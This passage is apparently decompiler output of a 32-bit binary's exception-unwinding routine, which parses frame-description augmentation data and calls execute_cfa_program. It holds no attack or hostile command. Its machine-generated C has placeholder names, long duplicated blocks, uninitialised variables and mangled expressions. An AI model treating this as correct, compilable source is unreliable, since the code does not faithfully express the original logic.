int32_t v5 = *(int32_t *)(v4 + 76); // 0x80a6025
g97 = v5;
int32_t v6; // 0x80a625a
if (v5 == 0) {
// 0x80a625a
v6 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v6 + 8;
return 5;
}
struct struct_110 * v7 = (struct struct_110 *)(v4 + 84); // bp-4
_Unwind_Find_FDE(v5 - 1);
int32_t v8 = g95; // 0x80a6043
struct struct_3 * v9 = (struct struct_3 *)v8; // bp-48
g97 = v1;
if (v8 == 0) {
int32_t v10 = *(int32_t *)(v1 + 76); // 0x80a6354
g95 = v10;
int32_t v11;
int32_t v12; // 0x80a642b
struct struct_110 * v13; // 0x80a63b0_0
if (*(int16_t *)v10 == -0x47a8) {
// 0x80a6441
if (*(int32_t *)(v10 + 2) == 119) {
// 0x80a644b
if (*(int16_t *)(v10 + 6) == -0x7f33) {
int32_t v14 = *(int32_t *)(v1 + 72); // 0x80a6457
v11 = v14 + 4;
// branch -> 0x80a6390
// 0x80a6390
g96 = v11;
g97 = *(int32_t *)(v11 + 28);
v3->e21 = 1;
v3->e19 = 4;
v13 = v3;
v13->e18 = g97 - v14;
v3->e1 = 1;
*(int32_t *)(int32_t)v13 = g96 + 44 - g97;
v3->e7 = 1;
v3->e6 = g96 + 32 - g97;
v3->e3 = 1;
v3->e2 = g96 + 40 - g97;
v3->e5 = 1;
v3->e4 = g96 + 36 - g97;
v3->e12 = 1;
v3->e11 = g96 + 20 - g97;
v3->e14 = 1;
v3->e13 = g96 + 16 - g97;
v3->e10 = 1;
v3->e9 = g96 + 24 - g97;
v3->e16 = 1;
v12 = g96 + 56 - g97;
g95 = v12;
v3->e15 = v12;
v3->e24 = 8;
// branch -> 0x80a625a
// 0x80a625a
v6 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v6 + 8;
return 0;
}
}
}
int32_t result = 5;
if (*(char *)v10 == -72) {
// 0x80a636b
if (*(int32_t *)(v10 + 1) == 173) {
// 0x80a6378
if (*(int16_t *)(v10 + 5) == -0x7f33) {
int32_t v15 = *(int32_t *)(v1 + 72); // 0x80a6387
v11 = v15 + 160;
// branch -> 0x80a6390
// 0x80a6390
g96 = v11;
g97 = *(int32_t *)(v11 + 28);
v3->e21 = 1;
v3->e19 = 4;
v13 = v3;
v13->e18 = g97 - v15;
v3->e1 = 1;
*(int32_t *)(int32_t)v13 = g96 + 44 - g97;
v3->e7 = 1;
v3->e6 = g96 + 32 - g97;
v3->e3 = 1;
v3->e2 = g96 + 40 - g97;
v3->e5 = 1;
v3->e4 = g96 + 36 - g97;
v3->e12 = 1;
v3->e11 = g96 + 20 - g97;
v3->e14 = 1;
v3->e13 = g96 + 16 - g97;
v3->e10 = 1;
v3->e9 = g96 + 24 - g97;
v3->e16 = 1;
v12 = g96 + 56 - g97;
g95 = v12;
v3->e15 = v12;
v3->e24 = 8;
result = 0;
// branch -> 0x80a625a
} else {
result = 5;
}
} else {
result = 5;
}
}
// 0x80a625a
v6 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v6 + 8;
return result;
}
// 0x80a6051
v3->e22 = *(int32_t *)(v1 + 92);
int32_t v16 = (int32_t)v9 + 4 - v9->e1; // 0x80a606c
struct struct_108 * v17 = (struct struct_108 *)v16; // bp-44
int32_t v18 = v16 + 9; // 0x80a6071
g101 = v18;
char * str = (char *)v18; // 0x80a6074_0
int32_t len = strlen(str); // 0x80a6081
int32_t v19 = g101; // 0x80a6085
int32_t v20 = v19 + len; // 0x80a6085
g95 = len + 1 + v19;
char * v21 = str; // bp+011
if (v17->e2 == 101) {
// 0x80a6262
if (*(char *)(v19 + 1) == 104) {
// 0x80a626c
g101 = (int32_t)v3;
v3->e26 = (char)*(int32_t *)(v20 + 1);
g95 = v20 + 5;
v21 = (char *)((int32_t)v17 + 11);
// branch -> 0x80a6099
} else {
v21 = str;
}
}
// 0x80a6099
g97 = (int32_t)v3 + 176;
read_uleb128_718((int32_t)a2);
g97 = (int32_t)v3 + 172;
struct struct_103 * v22 = (struct struct_103 *)0x80a60b5;
read_sleb128_719((int32_t)a2);
int32_t v23 = g95; // 0x80a60b5
int32_t v24; // 0x80a6174
int32_t v25; // 0x80a632e
char * v26; // 0x80a627e_09
int32_t v27; // 0x80a62d3
int32_t v28;
int32_t v29;
int32_t v30;
unsigned char v31;
int32_t v32; // 0x80a616a
int32_t v33; // 0x80a6240
int32_t v34; // 0x80a6329
int32_t v35; // 0x80a6108
int32_t v36; // 0x80a6180
int32_t v37; // 0x80a624d
int32_t v38; // 0x80a62e4
int32_t v39; // 0x80a6306
unsigned char v40; // 0x80a617a
int32_t v41; // 0x80a6293
int32_t v42; // 0x80a6293
struct struct_108 * v43; // 0x80a6158_0
struct struct_110 * v44; // 0x80a6177_0
int32_t v45;
struct struct_110 * v46; // 0x80a62a9_0
int32_t v47; // 0x80a62ac
struct struct_3 * v48; // 0x80a62e7_0
int32_t v49; // 0x80a6342
int32_t v50; // 0x80a634236
int32_t v51; // 0x80a61d1
int32_t v52; // 0x80a62ac
int32_t v53; // 0x80a60f8
if (v17->e2 == 1) {
int32_t v54 = (int32_t)*(char *)v23; // 0x80a61b5
g97 = (int32_t)v3;
v3->e24 = v54;
g102 = v23 + 1;
g96 = (int32_t)v3;
v3->e25 = -1;
g101 = (int32_t)v21;
v51 = v54 & -256 | (int32_t)*v21;
g95 = v51;
if (v51 != 122) {
v45 = 0;
// 0x80a60f4
if (0x1000000 * v51 == 0) {
// 0x80a6147
g97 = v45;
if (v45 == 0) {
// 0x80a6240
v33 = g102;
// branch -> 0x80a6240
// 0x80a6240
if (v33 == 0) {
// 0x80a6248
v37 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = v28;
g99 = v37 + 8;
return 3;
}
v32 = v33;
} else {
// 0x80a6152
v32 = v45;
// branch -> 0x80a6155
}
// 0x80a6155
v43 = v17;
g97 = (int32_t)v43 + v43->e0 + 4;
g96 = v1;
g95 = v32;
execute_cfa_program(&v3->e0, &v7->e0, 192);
v24 = (int32_t)v9 + 8;
g96 = v24;
v44 = v3;
g95 = (int32_t)v44;
v40 = v44->e25;
v36 = g99;
if ((g97 & -256 || (int32_t)v40) == -1) {
// 0x80a630e
g102 = v24;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v24;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v24;
v52 = 0;
v46 = v44;
v30 = 0;
}
} else {
// 0x80a618c
v31 = v40 % 8;
g97 = v31;
if (v31 == 2) {
// 0x80a6338
v42 = 4;
// branch -> 0x80a6293
} else {
// 0x80a6198
if (v31 < 3) {
// 0x80a6286
if (v31 != 0) {
// 0x80a61b0
abort();
// UNREACHABLE
}
} else {
// 0x80a619e
if (v31 != 3) {
// 0x80a61a7
if (v31 != 4) {
// 0x80a61b0
abort();
// UNREACHABLE
}
// 0x80a6347
v42 = 16;
// branch -> 0x80a6293
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a628e
v42 = 8;
// branch -> 0x80a6293
}
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
}
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
v35 = v51;
v26 = v21;
while (true) {
// 0x80a60f8
v53 = 0x1000000 * v35;
int32_t v55;
if (v53 != 0x4c000000) {
lab_0x694b9a0:
// 0x80a6100
if (v53 != 0x52000000) {
// 0x80a6108
if (v53 == 0x50000000) {
int32_t v56 = (int32_t)*(char *)g102; // 0x80a6110
g97 = v1;
g95 = v56;
v22 = (struct struct_103 *)0x80a611d;
base_of_encoded_value_717((int32_t)a2, 0);
g96 = g102 + 1;
g95 = v56;
int32_t v57 = read_encoded_value_with_base_720((int32_t)v3 + 168, (int32_t)v7, 192); // 0x80a6131
g102 = v57;
int32_t v58 = (int32_t)v26 + 1; // 0x80a6138
char * v59 = (char *)v58; // 0x80a6138_3
g97 = v58;
int32_t v60 = (int32_t)*v59 | v57 & -256; // 0x80a6141
g95 = v60;
if (v60 == 0) {
// break -> 0x80a6147
break;
}
v35 = v60;
v26 = v59;
// continue -> 0x80a60f8
continue;
} else {
// 0x80a623d
v33 = v45;
// branch -> 0x80a6240
}
// 0x80a6240
if (v33 == 0) {
// 0x80a6248
v37 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = v28;
g99 = v37 + 8;
return 3;
}
// 0x80a6155
v43 = v17;
g97 = (int32_t)v43 + v43->e0 + 4;
g96 = v1;
g95 = v33;
execute_cfa_program(&v3->e0, &v7->e0, 192);
v24 = (int32_t)v9 + 8;
g96 = v24;
v44 = v3;
g95 = (int32_t)v44;
v40 = v44->e25;
v36 = g99;
if ((g97 & -256 || (int32_t)v40) == -1) {
// 0x80a630e
g102 = v24;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v24;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v24;
v52 = 0;
v46 = v44;
v30 = 0;
}
} else {
// 0x80a618c
v31 = v40 % 8;
g97 = v31;
if (v31 == 2) {
// 0x80a6338
v42 = 4;
// branch -> 0x80a6293
} else {
// 0x80a6198
if (v31 < 3) {
// 0x80a6286
if (v31 != 0) {
// 0x80a61b0
abort();
// UNREACHABLE
}
} else {
// 0x80a619e
if (v31 != 3) {
// 0x80a61a7
if (v31 != 4) {
// 0x80a61b0
abort();
// UNREACHABLE
}
// 0x80a6347
v42 = 16;
// branch -> 0x80a6293
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
// branch -> 0x80a62dd
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v50 : v30;
g99 -= 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
// branch -> 0x80a62dd
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v27 : v30;
g99 -= 4;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a628e
v42 = 8;
// branch -> 0x80a6293
}
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
}
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
// branch -> 0x80a62dd
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v50 : v30;
g99 -= 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
// branch -> 0x80a62dd
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v27 : v30;
g99 -= 4;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
unsigned char v61 = *(char *)g102; // 0x80a6224
g96 = (int32_t)v3;
v3->e25 = v61;
g102++;
char * v62 = (char *)((int32_t)v26 + 1); // 0x80a6230_3
v55 = ((int32_t)v61 | v35 & -256) & -256 | (int32_t)*v62;
// branch -> 0x80a60f4
// 0x80a60f4
g95 = v55;
if (0x1000000 * v55 == 0) {
// break -> 0x80a6147
break;
}
v35 = v55;
v26 = v62;
// continue -> 0x80a60f8
continue;
}
lab_0x14114130:;
unsigned char v63 = *(char *)g102; // 0x80a6208
v3->e25 = v63;
g102++;
int32_t v64 = (int32_t)v26 + 1; // 0x80a6214
char * v65 = (char *)v64; // 0x80a6214_3
g97 = v64;
v55 = ((int32_t)v63 | v35 & -256) & -256 | (int32_t)*v65;
// branch -> 0x80a60f4
// 0x80a60f4
g95 = v55;
if (0x1000000 * v55 == 0) {
// break -> 0x80a6147
break;
}
v35 = v55;
v26 = v65;
// continue -> 0x80a60f8
}
// 0x80a6147
g97 = v45;
if (v45 == 0) {
// 0x80a6240
v33 = g102;
// branch -> 0x80a6240
// 0x80a6240
if (v33 == 0) {
// 0x80a6248
v37 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = v28;
g99 = v37 + 8;
return 3;
}
v32 = v33;
} else {
// 0x80a6152
v32 = v45;
// branch -> 0x80a6155
}
// 0x80a6155
v43 = v17;
g97 = (int32_t)v43 + v43->e0 + 4;
g96 = v1;
g95 = v32;
execute_cfa_program(&v3->e0, &v7->e0, 192);
v24 = (int32_t)v9 + 8;
g96 = v24;
v44 = v3;
g95 = (int32_t)v44;
v40 = v44->e25;
v36 = g99;
if ((g97 & -256 || (int32_t)v40) == -1) {
// 0x80a630e
g102 = v24;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v24;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v24;
v52 = 0;
v46 = v44;
v30 = 0;
}
} else {
// 0x80a618c
v31 = v40 % 8;
g97 = v31;
if (v31 == 2) {
// 0x80a6338
v42 = 4;
// branch -> 0x80a6293
} else {
// 0x80a6198
if (v31 < 3) {
// 0x80a6286
if (v31 != 0) {
// 0x80a61b0
abort();
// UNREACHABLE
}
} else {
// 0x80a619e
if (v31 != 3) {
// 0x80a61a7
if (v31 != 4) {
// 0x80a61b0
abort();
// UNREACHABLE
}
// 0x80a6347
v42 = 16;
// branch -> 0x80a6293
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a628e
v42 = 8;
// branch -> 0x80a6293
}
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
}
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
} else {
// 0x80a60c4
g97 = (int32_t)v3 + 180;
g95 = v23;
v22 = (struct struct_103 *)0x80a60d4;
read_uleb128_718((int32_t)a2);
g102 = g95;
g96 = (int32_t)v3;
v3->e25 = -1;
g101 = (int32_t)v21;
int32_t v66 = g95 & -256 | (int32_t)*v21; // 0x80a60e3
g95 = v66;
if (v66 != 122) {
v51 = v66;
v45 = 0;
// 0x80a60f4
if (0x1000000 * v51 != 0) {
v35 = v51;
v26 = v21;
while (true) {
// 0x80a60f8
v53 = 0x1000000 * v35;
if (v53 == 0x4c000000) {
goto lab_0x14114130;
}
goto lab_0x694b9a0;
}
}
// 0x80a6147
g97 = v45;
if (v45 == 0) {
// 0x80a6240
v33 = g102;
// branch -> 0x80a6240
// 0x80a6240
if (v33 == 0) {
// 0x80a6248
v37 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = v28;
g99 = v37 + 8;
return 3;
}
v32 = v33;
} else {
// 0x80a6152
v32 = v45;
// branch -> 0x80a6155
}
// 0x80a6155
v43 = v17;
g97 = (int32_t)v43 + v43->e0 + 4;
g96 = v1;
g95 = v32;
execute_cfa_program(&v3->e0, &v7->e0, 192);
v24 = (int32_t)v9 + 8;
g96 = v24;
v44 = v3;
g95 = (int32_t)v44;
v40 = v44->e25;
v36 = g99;
if ((g97 & -256 || (int32_t)v40) == -1) {
// 0x80a630e
g102 = v24;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v24;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v24;
v52 = 0;
v46 = v44;
v30 = 0;
}
} else {
// 0x80a618c
v31 = v40 % 8;
g97 = v31;
if (v31 == 2) {
// 0x80a6338
v42 = 4;
// branch -> 0x80a6293
} else {
// 0x80a6198
if (v31 < 3) {
// 0x80a6286
if (v31 != 0) {
// 0x80a61b0
abort();
// UNREACHABLE
}
} else {
// 0x80a619e
if (v31 != 3) {
// 0x80a61a7
if (v31 != 4) {
// 0x80a61b0
abort();
// UNREACHABLE
}
// 0x80a6347
v42 = 16;
// branch -> 0x80a6293
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a628e
v42 = 8;
// branch -> 0x80a6293
}
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
}
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a61db
g97 = g100 - 16;
g95 = g102;
v22 = (struct struct_103 *)0x80a61e5;
read_uleb128_718((int32_t)a2);
int32_t v67 = g95; // 0x80a61e5
g102 = v67;
int32_t v68 = v67 + v29; // 0x80a61ea
g97 = (int32_t)v3;
v3->e25 = 1;
int32_t v69 = (int32_t)v21 + 1; // 0x80a61f9
char * v70 = (char *)v69; // 0x80a61f9_3
g96 = v69;
int32_t v71 = v68 & -256 | (int32_t)*v70; // 0x80a61ff
g95 = v71;
v51 = v71;
v45 = v68;
// branch -> 0x80a60f4
// 0x80a60f4
if (0x1000000 * v51 != 0) {
v35 = v51;
v26 = v70;
while (true) {
// 0x80a60f8
v53 = 0x1000000 * v35;
if (v53 == 0x4c000000) {
goto lab_0x14114130;
}
goto lab_0x694b9a0;
}
}
// 0x80a6147
g97 = v45;
if (v45 == 0) {
// 0x80a6240
v33 = g102;
// branch -> 0x80a6240
// 0x80a6240
if (v33 == 0) {
// 0x80a6248
v37 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = v28;
g99 = v37 + 8;
return 3;
}
v32 = v33;
} else {
// 0x80a6152
v32 = v45;
// branch -> 0x80a6155
}
// 0x80a6155
v43 = v17;
g97 = (int32_t)v43 + v43->e0 + 4;
g96 = v1;
g95 = v32;
execute_cfa_program(&v3->e0, &v7->e0, 192);
v24 = (int32_t)v9 + 8;
g96 = v24;
v44 = v3;
g95 = (int32_t)v44;
v40 = v44->e25;
v36 = g99;
if ((g97 & -256 || (int32_t)v40) == -1) {
// 0x80a630e
g102 = v24;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v24;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v24;
v52 = 0;
v46 = v44;
v30 = 0;
}
} else {
// 0x80a618c
v31 = v40 % 8;
g97 = v31;
if (v31 == 2) {
// 0x80a6338
v42 = 4;
// branch -> 0x80a6293
} else {
// 0x80a6198
if (v31 < 3) {
// 0x80a6286
if (v31 != 0) {
// 0x80a61b0
abort();
// UNREACHABLE
}
} else {
// 0x80a619e
if (v31 != 3) {
// 0x80a61a7
if (v31 != 4) {
// 0x80a61b0
abort();
// UNREACHABLE
}
// 0x80a6347
v42 = 16;
// branch -> 0x80a6293
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
}
// 0x80a628e
v42 = 8;
// branch -> 0x80a6293
}
// 0x80a6293
v41 = v42 + v24;
g102 = v41;
if (v44->e25 != 0) {
// 0x80a631f
g97 = g100 - 16;
g95 = v41;
g99 = v36 - 4;
read_uleb128_718((int32_t)v22);
v34 = g95;
g102 = v34;
v25 = v34 + v29;
g96 = v25;
v50 = v34;
v52 = v34;
v46 = v3;
v30 = v25;
// branch -> 0x80a62a9
} else {
v50 = v41;
v52 = v42;
v46 = v44;
v30 = 0;
}
}
// 0x80a62a9
v47 = v46->e25;
if ((v47 || v52 & -256) == -1) {
// 0x80a62a9
v38 = g99;
v49 = v50;
